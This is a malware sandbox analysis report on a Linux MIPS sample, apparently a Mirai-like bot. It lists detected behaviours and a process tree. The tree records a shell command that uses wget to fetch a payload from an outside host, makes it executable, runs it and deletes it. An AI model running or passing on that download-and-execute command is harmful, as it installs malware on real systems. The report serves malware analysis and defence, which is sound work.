Analysis
- max time kernel
146s - max time network
144s - platform
debian-9_mipsel - resource
debian9-mipsel-20240226-en - resource tags
- submitted
02/04/2024, 09:57
General
- Target 897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes118
- Size 155KB
- Sample240402-lzag5ade2w
- SHA256 fcf12690bf21d443fe7a94ae392419e12d5f7a85e0b1a64040a1e665acf8bfc6
Score
7/10
Malware Config
Signatures
- Changes its process name 1 IoCs
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes118/tmp/897ec1f635f44d6fa85e4a97d1b4887e_JaffaCakes1181⤵
- Changes its process name
- Reads system routing table
- Reads system network configuration
-
/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."2⤵
-
/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....3⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .....3⤵
-
-
/tmp/....../.....3⤵
- Executes dropped EXE
-
-
/bin/sh/bin/sh ./.....3⤵
-
-
/bin/rmrm -rf .....3⤵
-
-